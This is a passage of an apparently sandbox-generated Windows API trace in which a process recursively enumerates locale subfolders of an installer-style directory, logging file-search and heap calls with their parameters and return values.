	[0070.623] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.623] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.623] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.624] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.624] FindClose (in: hFindFile=0x3121690 | out: hFindFile=0x3121690) returned 1
	[0070.624] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.624] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0070.624] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.624] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31214d0
	[0070.624] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.624] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.624] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.624] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.625] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.625] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0070.625] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.625] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0070.625] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.625] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121910
	[0070.625] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.625] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.625] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.626] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.626] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.626] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0070.626] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.626] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0070.626] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.626] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121790
	[0070.626] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.626] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.627] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.627] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.627] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.627] FindClose (in: hFindFile=0x3121790 | out: hFindFile=0x3121790) returned 1
	[0070.627] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.627] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0070.627] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.627] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31218d0
	[0070.628] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.628] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.628] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.628] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.628] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.628] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0070.628] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.628] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0070.628] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.628] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121710
	[0070.629] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.629] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.629] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.629] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.629] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.629] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0070.629] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.629] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0070.629] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.629] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121210
	[0070.629] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.629] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
